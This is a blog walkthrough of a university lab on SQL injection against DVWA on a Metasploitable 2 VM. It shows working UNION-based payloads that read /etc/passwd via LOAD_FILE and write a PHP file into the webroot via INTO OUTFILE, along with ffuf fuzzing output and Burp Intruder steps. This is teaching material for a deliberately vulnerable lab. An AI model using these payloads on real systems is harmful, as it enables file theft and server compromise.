

SQLi Hands-On: Injecting Chaos
Table of Contents
π This post is a walkthrough of a real university session on SQL Injection β not just theory, but the hands-on chaos we injected into DVWA. Whether you’re a beginner or brushing up, follow along as I break down each step and payload we used, from
UNION SELECT
to file writes and fuzzing with Burp and ffuf. Get ready to see how deep the rabbit hole goes. Let’s hack smart.
π§ Introduction and Lab Setup
In this session, i will go on for you about a university class i had today. It was about SQLi injections and later a bit sqlmap. I’ll try to explain it as best as possible.
For the setup of the lab, you can go take a look at an older post where i set it up - there I cover how to spin up Metasploitable 2 with DVWA and get everything talking.
We will be using the DVWA for this, which comes packed in Metasploitable 2.
DVWA’s local IP address for this exercise: 192.168.58.129
- host-only in my network, insert for <DVWA_IP> whatever it is in your network.
π‘οΈ Additional Steps (disabling AppArmor)
When you logged into your metasploitable with the standard msfadmin/msfadmin, you need to disable AppArmor: AppArmor is a security module that can block file reads β even if your SQL injection is syntactically correct. So we need to tell it to chill.
- Check AppArmor status:
sudo aa-status
(look for enforce/complain - you want complain) - Enable complain mode for MySQL server:
sudo aa-complain /usr/sbin/mysqld
- Verify by connecting to MySQL:
mysql -u root -D dvwa
- When connected, execute
SELECT LOAD_FILE('/etc/motd');
- if this executes without error you are ready to go!
π― Let the Injections Begin
Head over to <DVWA_IP>/dvwa/login.php
, where you log in with admin|password
.
Click on “DVWA Security” and choose low! The challenge is good enough right now without making it more difficult :D.
! IMPORTANT! If the security level keeps switching when you head over to another site, it is because the cookie is double-set, e.g. on ‘high’ AND on ‘medium’ - delete the one you want to get rid of.
π― Our Challenge Area
At <DVWA_IP>/dvwa/vulnerabilities/sqli/
, you are able to search for User ID’s. Here we will beginn our journey.
Feel free to input something, play around a bit, see what happens!
Now let’s try to input 1
as our ID.
This is an extremely important information for us - The response consists of TWO fields, first name, and surname!
Why does that matter, you ask?
Let’s consider what is happening in the background here. Now let’s talk about the query the site is using. You can click on the site to view the code (we don’t need to know how it looks, we already know about it’s return - we just want to better understand what is going on for now).
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
Now, how could we inject SQL code in that?
We can’t just run any SELECT
statement - the injection must blend into the existing query, and there is already a SELECT
.
Think of SQL like a spreadsheet β you canβt just paste a new table in the middle, you have to add rows with the same number of columns.
SQL got you covered: we can use UNION SELECT
.
π Mini SQL Excursus
UNION SELECT
combines the results of twoSELECT
queries into one result set, as long as:
- Both queries return the same number of columns
- Column data types match
You can read more about UNION SELECT
here
and even practice a bit.
π£ Payload Construction
So that means, we want to construct a new query from the old one:
SELECT first_name, last_name FROM users WHERE user_id = '<USER_INPUT>'
We want to end the input with our inject, start a UNION SELECT
and there we then need to select 2 (!) fields of matching types to first_name
and last_name
- otherwise it won’t work out!
How might a payload for that look like? Let’s go with:
1' UNION SELECT VERSION(),'foo' -- -;
This way, the query becomes:
SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT VERSION(),'foo' -- -;
See what we did there? Let me explain:
We provide an input so that the field doesn’t remain empty, 1
- then we close the user_id field with a ‘ - afterwards we use UNION SELECT
, providing two fields.
The trick comes after these two: --
induces an SQL comment, so the command can effectively end there - but commands can not be empty!
Therefore, we introduce a space after --
, and so that we can see the space with our humanish eyes, we append a -
.
Voi la, payload crafted!
As you can see, we’ve got two results - and one contains the output of the VERSION()
-command like we intended - BOOM! Injected!
π Payload for File Read
Now, let’s try to do a file read. This time, our payload is:
1' UNION SELECT LOAD_FILE('/etc/passwd'),NULL -- -
π‘ Tip: If SELECT LOAD_FILE() gives NULL, AppArmor is probably still enforcing.
Note that this time, the payload’s result is again in the first name field, but Surname is empty as we provided NULL
right now - didn’t need that.
If that doesn’t work for you, troubleshoot:
π‘ LOAD_FILE() only works if:
- The file exists (if you used Metasploitable (or any Linux system for that matter) it does with our exampole)
- MySQL has read permissions (again, for Metasploitable it has)
- AppArmor is in complain mode
- The full path is used (we made sure of that by the leading
/
in/etc/passwd
)
For our upcoming exercises, let’s swap to Burpsuite, so we have an easier time constructing our requests and repeating them.
— UNFINISHED STARTS HERE:
Once you’ve intercepted the request, right-click it and ‘send it to the Repeater where our forging will continue! No request remains unmodified π.
In the repeater, our intercepted file read will look something like:
Looks like gibberish, right? Thatβs just URL encoding β your browserβs way of smuggling special characters safely through the HTTP gates.
π Mini Excursus: URL Encoding
URL encoding is how our browser understands special characters in URLs without breaking stuff.
Examples:
'
becomes%27
- Space is
%20
/
turns into%2F
Use it when you:
- Inject in URLs (
GET
params) - Send weird stuff via Burp
- Want your payload to survive the trip
π‘ TL;DR: If itβs not A-Z or 0-9, encode it or expect chaos. If you mark the text, burp whill show you on the left what it looks like encoded or decoded (you can also right-click and choose URL-encode as you type).
Now, let’s fuzz to discover the webroot! (What?)
π΅οΈββοΈ Fuzzing to Discover the Webroot
The webroot is the base directory on a server where the website’s files live - kind of like the linux /home
or any.. equivalent on your local work station which is the stem for your work lol.
If you’re new to fuzzing (sending tons of slightly different requests to discover hidden stuff), check out this quick intro
β and keep an eye on my Ko-fi
and this site for more posts, elite cheatsheets, and hacking goodies!
ffuf -u http://192.168.58.129/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.58.129/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.hta [Status: 403, Size: 291, Words: 22, Lines: 11, Duration: 16ms]
[Status: 200, Size: 891, Words: 237, Lines: 30, Duration: 18ms]
.htaccess [Status: 403, Size: 296, Words: 22, Lines: 11, Duration: 227ms]
cgi-bin/ [Status: 403, Size: 295, Words: 22, Lines: 11, Duration: 3ms]
.htpasswd [Status: 403, Size: 296, Words: 22, Lines: 11, Duration: 426ms]
dav [Status: 301, Size: 319, Words: 21, Lines: 10, Duration: 1ms]
index.php [Status: 200, Size: 891, Words: 237, Lines: 30, Duration: 16ms]
index [Status: 200, Size: 891, Words: 237, Lines: 30, Duration: 18ms]
phpMyAdmin [Status: 301, Size: 326, Words: 21, Lines: 10, Duration: 3ms]
phpinfo.php [Status: 200, Size: 48071, Words: 2409, Lines: 657, Duration: 43ms]
phpinfo [Status: 200, Size: 48059, Words: 2409, Lines: 657, Duration: 40ms]
test [Status: 301, Size: 320, Words: 21, Lines: 10, Duration: 4ms]
twiki [Status: 301, Size: 321, Words: 21, Lines: 10, Duration: 2ms]
server-status [Status: 403, Size: 300, Words: 22, Lines: 11, Duration: 9994ms]
:: Progress: [4614/4614] :: Job [1/1] :: 20 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
“NIKLAS! WHAT ARE WE DOING THIS FOR? I need context, why am i seeing different folders, why are we scanning the website?”
Let me explain, we are off to our next Section:
π From File Read to File Write
We want to achieve writing (and creating) files on the server. But: You can only write to directories MySQL has write access to, and that usually means:
- The webroot (if Apache and MySQL share group/user perms)
- A temp directory (like /tmp β but not useful for web access)
So we have to find out where the webroot is, and then write to it! But how do we differentiate what isn’t the webroot?
β Like this breakdown?
If this helped you, or if you just enjoy well-documented CTF journeys, consider supporting me.
π Every coffee helps fuel more content like this β cheatsheets, walkthroughs, and more hacker-fueled documentation.
π Visit: ko-fi.com/niklasheringer
File Write Payload
1' UNION SELECT "<?php echo 'owned'; ?>", NULL INTO OUTFILE '<TARGET_FOLDER>/shell.php' -- -
This simple payload will tell us exactly when we have a hit, as a wrong path, like to
/dvwa/..
will result in:
1' UNION SELECT "<?php echo 'owned'; ?>", NULL INTO OUTFILE '/var/www/dvwa/shell.php' -- -
# Output:
Can't create/write to file '/var/www/dvwa/shell.php' (Errcode: 13)
Let us swap over to Burp and check for the found folders! Remember URL-Encoding, you don’t need to do it by hand, just select and use the edit field (works both ways):
Once you’ve recreated this one now, right-click on the request and send it to the Intruder!
π‘Tip: select dvwa
(the payload we will swap out as it is the wrong folder (shown above, remember?)) and then send to Intruder - it will auto-mark that as the interchangeable payload field.
See how it is already embedded by
Β§
-signs? Let’s do this!
Look in the payloads tab: ‘Enter a new item’ and then ‘Add’ it to the payloads list.
Notice how the first payload is empty -
/var/www
could aswell be the webroot..
Better REMOVE the
/
character from Payload encoding - it is about directories in the end, even if we now don’t have double paths like /dav/xyz
as candidates, your payloads could still contain them in the future.
One of the result looks.. SIGNIFICANTLY more promising - can you see which?
All response lengths are below 500 - except /dav
- which is over 5000!
And as we can see in the responses:
Others than /dav
Can't create/write to file '/var/www/phpMyAdmin/shell.php' (Errcode: 13)
Here, we only get Warnings, not errors! BOOM, we made it!
AWESOME! We see our payload’s there!
β Conclusion and What Comes Next
We’ve accomplished a lot in this one! File Write AND Read via SQL Injection, awesome hehe. In the follow-up part of this, we will play around with Shells a bit, stay tuned for it - important learnings ahead!